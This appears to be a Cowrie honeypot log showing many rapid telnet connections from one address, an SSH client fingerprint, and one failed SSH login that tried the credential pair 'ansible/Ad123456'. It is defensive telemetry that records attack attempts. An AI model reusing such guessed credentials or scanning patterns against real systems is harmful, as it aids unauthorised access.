{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36766,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f806fa11dd1","protocol":"telnet","message":"New connection: 204.10.38.242:36766 (159.203.135.109:23) [session: 3f806fa11dd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.869590Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"de99526be47c","protocol":"telnet","message":"New connection: 204.10.38.242:41964 (159.203.135.109:23) [session: de99526be47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.933798Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41986,"dst_ip":"159.203.135.109","dst_port":23,"session":"804207db268d","protocol":"telnet","message":"New connection: 204.10.38.242:41986 (159.203.135.109:23) [session: 804207db268d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:13.938000Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":53612,"dst_ip":"159.203.135.109","dst_port":23,"session":"f053006fb1bb","protocol":"telnet","message":"New connection: 185.26.126.47:53612 (159.203.135.109:23) [session: f053006fb1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:14.224018Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43474,"dst_ip":"159.203.135.109","dst_port":23,"session":"c690eea0d8c1","protocol":"telnet","message":"New connection: 204.10.38.242:43474 (159.203.135.109:23) [session: c690eea0d8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:14.325004Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43514,"dst_ip":"159.203.135.109","dst_port":23,"session":"b163cbd76870","protocol":"telnet","message":"New connection: 204.10.38.242:43514 (159.203.135.109:23) [session: b163cbd76870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.337555Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"10a647107792","protocol":"telnet","message":"New connection: 204.10.38.242:48808 (159.203.135.109:23) [session: 10a647107792]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.392772Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47304,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d2a22ff790f","protocol":"ssh","message":"New connection: 159.203.92.129:47304 (159.203.135.109:22) [session: 5d2a22ff790f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.398409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.404847Z","src_ip":"159.203.92.129","session":"5d2a22ff790f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.409593Z","src_ip":"159.203.92.129","session":"5d2a22ff790f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"Ad123456","message":"login attempt [ansible/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.421529Z","src_ip":"159.203.92.129","session":"5d2a22ff790f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":45576,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfa6ce1293a6","protocol":"telnet","message":"New connection: 204.10.38.242:45576 (159.203.135.109:23) [session: cfa6ce1293a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.676371Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50582,"dst_ip":"159.203.135.109","dst_port":23,"session":"aec60b8f50dd","protocol":"telnet","message":"New connection: 204.10.38.242:50582 (159.203.135.109:23) [session: aec60b8f50dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.694648Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51066,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c957f3612b9","protocol":"telnet","message":"New connection: 204.10.38.242:51066 (159.203.135.109:23) [session: 7c957f3612b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.794901Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51948,"dst_ip":"159.203.135.109","dst_port":23,"session":"2da539766fa2","protocol":"telnet","message":"New connection: 204.10.38.242:51948 (159.203.135.109:23) [session: 2da539766fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:15.986218Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52960,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4fff4c00735","protocol":"telnet","message":"New connection: 204.10.38.242:52960 (159.203.135.109:23) [session: d4fff4c00735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.208482Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48960,"dst_ip":"159.203.135.109","dst_port":23,"session":"caa7ce6caba1","protocol":"telnet","message":"New connection: 204.10.38.242:48960 (159.203.135.109:23) [session: caa7ce6caba1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.409036Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54326,"dst_ip":"159.203.135.109","dst_port":23,"session":"3db6e31840c9","protocol":"telnet","message":"New connection: 204.10.38.242:54326 (159.203.135.109:23) [session: 3db6e31840c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.421871Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.429564Z","src_ip":"159.203.92.129","session":"5d2a22ff790f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55540,"dst_ip":"159.203.135.109","dst_port":23,"session":"8798ba1f014c","protocol":"telnet","message":"New connection: 204.10.38.242:55540 (159.203.135.109:23) [session: 8798ba1f014c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.605798Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50434,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d89e1a21d22","protocol":"telnet","message":"New connection: 204.10.38.242:50434 (159.203.135.109:23) [session: 3d89e1a21d22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.661041Z"}
{"eventid":"cowrie.session.closed","duration":31.848373651504517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:16.894010Z","src_ip":"204.10.38.242","session":"90cd282d10ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":58434,"dst_ip":"159.203.135.109","dst_port":23,"session":"007bb165628b","protocol":"telnet","message":"New connection: 204.10.38.242:58434 (159.203.135.109:23) [session: 007bb165628b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.324114Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":59764,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f7aa798261","protocol":"telnet","message":"New connection: 204.10.38.242:59764 (159.203.135.109:23) [session: 66f7aa798261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.454865Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"41986b9900f4","protocol":"telnet","message":"New connection: 204.10.38.242:60908 (159.203.135.109:23) [session: 41986b9900f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.668199Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":32818,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e2a52476130","protocol":"telnet","message":"New connection: 204.10.38.242:32818 (159.203.135.109:23) [session: 3e2a52476130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.700971Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33140,"dst_ip":"159.203.135.109","dst_port":23,"session":"08afea4e68d3","protocol":"telnet","message":"New connection: 204.10.38.242:33140 (159.203.135.109:23) [session: 08afea4e68d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.791444Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33158,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f0d3094cc59","protocol":"telnet","message":"New connection: 204.10.38.242:33158 (159.203.135.109:23) [session: 6f0d3094cc59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:17.796892Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34892,"dst_ip":"159.203.135.109","dst_port":23,"session":"8816ede9bc94","protocol":"telnet","message":"New connection: 204.10.38.242:34892 (159.203.135.109:23) [session: 8816ede9bc94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:18.312505Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":34964,"dst_ip":"159.203.135.109","dst_port":23,"session":"81db5730671f","protocol":"telnet","message":"New connection: 204.10.38.242:34964 (159.203.135.109:23) [session: 81db5730671f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:18.322106Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54800,"dst_ip":"159.203.135.109","dst_port":23,"session":"54839f374e6e","protocol":"telnet","message":"New connection: 204.10.38.242:54800 (159.203.135.109:23) [session: 54839f374e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:18.493023Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36936,"dst_ip":"159.203.135.109","dst_port":23,"session":"84aa72fb513c","protocol":"telnet","message":"New connection: 204.10.38.242:36936 (159.203.135.109:23) [session: 84aa72fb513c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:18.615223Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":37742,"dst_ip":"159.203.135.109","dst_port":23,"session":"4464d88d5bd2","protocol":"telnet","message":"New connection: 204.10.38.242:37742 (159.203.135.109:23) [session: 4464d88d5bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:18.741314Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":40874,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac29039ddb92","protocol":"telnet","message":"New connection: 204.10.38.242:40874 (159.203.135.109:23) [session: ac29039ddb92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:19.420397Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d5f2cffe3d7","protocol":"telnet","message":"New connection: 204.10.38.242:41126 (159.203.135.109:23) [session: 2d5f2cffe3d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:19.452712Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":42540,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8bad7c37e33","protocol":"telnet","message":"New connection: 204.10.38.242:42540 (159.203.135.109:23) [session: d8bad7c37e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:19.762210Z"}
{"eventid":"cowrie.session.closed","duration":30.612096786499023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.064552Z","src_ip":"204.10.38.242","session":"298a12d71513","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":43992,"dst_ip":"159.203.135.109","dst_port":23,"session":"dddaa2f5869a","protocol":"telnet","message":"New connection: 204.10.38.242:43992 (159.203.135.109:23) [session: dddaa2f5869a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.148491Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44544,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9063c6054dd","protocol":"telnet","message":"New connection: 204.10.38.242:44544 (159.203.135.109:23) [session: c9063c6054dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.311156Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":44742,"dst_ip":"159.203.135.109","dst_port":23,"session":"0838116dfcce","protocol":"telnet","message":"New connection: 204.10.38.242:44742 (159.203.135.109:23) [session: 0838116dfcce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.344586Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46284,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4c3846efd65","protocol":"telnet","message":"New connection: 204.10.38.242:46284 (159.203.135.109:23) [session: d4c3846efd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.528495Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":46866,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6ba08913ef4","protocol":"telnet","message":"New connection: 204.10.38.242:46866 (159.203.135.109:23) [session: f6ba08913ef4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.653952Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":47840,"dst_ip":"159.203.135.109","dst_port":23,"session":"be367f8d5100","protocol":"telnet","message":"New connection: 204.10.38.242:47840 (159.203.135.109:23) [session: be367f8d5100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.826921Z"}
{"eventid":"cowrie.session.closed","duration":31.465593576431274,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:20.865614Z","src_ip":"204.10.38.242","session":"a0591e8d53e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":48576,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e6147da31b1","protocol":"telnet","message":"New connection: 204.10.38.242:48576 (159.203.135.109:23) [session: 9e6147da31b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.023563Z"}
{"eventid":"cowrie.session.closed","duration":30.888620853424072,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.188502Z","src_ip":"204.10.38.242","session":"1c049f267ba2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49282,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bb9490a5873","protocol":"telnet","message":"New connection: 204.10.38.242:49282 (159.203.135.109:23) [session: 4bb9490a5873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.255332Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50108,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5c82014787","protocol":"telnet","message":"New connection: 204.10.38.242:50108 (159.203.135.109:23) [session: 9c5c82014787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.388741Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50814,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7eb25f9acb4","protocol":"telnet","message":"New connection: 204.10.38.242:50814 (159.203.135.109:23) [session: f7eb25f9acb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.467945Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":50870,"dst_ip":"159.203.135.109","dst_port":23,"session":"12fedbea97b1","protocol":"telnet","message":"New connection: 204.10.38.242:50870 (159.203.135.109:23) [session: 12fedbea97b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.477740Z"}
{"eventid":"cowrie.session.closed","duration":31.069822549819946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.485312Z","src_ip":"204.10.38.242","session":"32cdd3188d9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":52636,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cbfcbe2ceec","protocol":"telnet","message":"New connection: 204.10.38.242:52636 (159.203.135.109:23) [session: 2cbfcbe2ceec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.808604Z"}
{"eventid":"cowrie.session.closed","duration":31.521212816238403,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:21.814745Z","src_ip":"204.10.38.242","session":"bd5f5349e7be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74328088760376,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.125884Z","src_ip":"204.10.38.242","session":"2376c0c1c394","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":53888,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8677eff085","protocol":"telnet","message":"New connection: 204.10.38.242:53888 (159.203.135.109:23) [session: dd8677eff085]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.143486Z"}
{"eventid":"cowrie.session.closed","duration":30.68775701522827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.241858Z","src_ip":"204.10.38.242","session":"6cb4923b4252","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":49358,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8759ff6ea2b","protocol":"telnet","message":"New connection: 204.10.38.242:49358 (159.203.135.109:23) [session: c8759ff6ea2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.290299Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55446,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec3da9751a2c","protocol":"telnet","message":"New connection: 204.10.38.242:55446 (159.203.135.109:23) [session: ec3da9751a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.414783Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":55448,"dst_ip":"159.203.135.109","dst_port":23,"session":"7404e6ab6a14","protocol":"telnet","message":"New connection: 204.10.38.242:55448 (159.203.135.109:23) [session: 7404e6ab6a14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.420253Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":51648,"dst_ip":"159.203.135.109","dst_port":23,"session":"913eabe3d7f7","protocol":"telnet","message":"New connection: 204.10.38.242:51648 (159.203.135.109:23) [session: 913eabe3d7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:22.603411Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54312,"dst_ip":"159.203.135.109","dst_port":23,"session":"213551586cfa","protocol":"telnet","message":"New connection: 204.10.38.242:54312 (159.203.135.109:23) [session: 213551586cfa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:23.312246Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":33230,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a5b39c94cc1","protocol":"telnet","message":"New connection: 204.10.38.242:33230 (159.203.135.109:23) [session: 1a5b39c94cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:23.626055Z"}
{"eventid":"cowrie.session.closed","duration":31.504262447357178,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:23.942412Z","src_ip":"204.10.38.242","session":"02208fa83421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35398,"dst_ip":"159.203.135.109","dst_port":23,"session":"a48ad6b834ef","protocol":"telnet","message":"New connection: 204.10.38.242:35398 (159.203.135.109:23) [session: a48ad6b834ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.144593Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35684,"dst_ip":"159.203.135.109","dst_port":23,"session":"0334e672e351","protocol":"telnet","message":"New connection: 204.10.38.242:35684 (159.203.135.109:23) [session: 0334e672e351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.278255Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":54220,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdad22b7b014","protocol":"telnet","message":"New connection: 204.10.38.242:54220 (159.203.135.109:23) [session: bdad22b7b014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.283176Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":35790,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c9449454373","protocol":"telnet","message":"New connection: 204.10.38.242:35790 (159.203.135.109:23) [session: 0c9449454373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.308085Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":36746,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccccc0aa4142","protocol":"telnet","message":"New connection: 204.10.38.242:36746 (159.203.135.109:23) [session: ccccc0aa4142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.409794Z"}
{"eventid":"cowrie.session.connect","src_ip":"204.10.38.242","src_port":60362,"dst_ip":"159.203.135.109","dst_port":23,"session":"69dc4f19ca97","protocol":"telnet","message":"New connection: 204.10.38.242:60362 (159.203.135.109:23) [session: 69dc4f19ca97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:24.436532Z"}
{"eventid":"cowrie.session.closed","duration":30.60385513305664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:52:25.163065Z","src_ip":"204.10.38.242","session":"c98053e2335e","protocol":"telnet"}
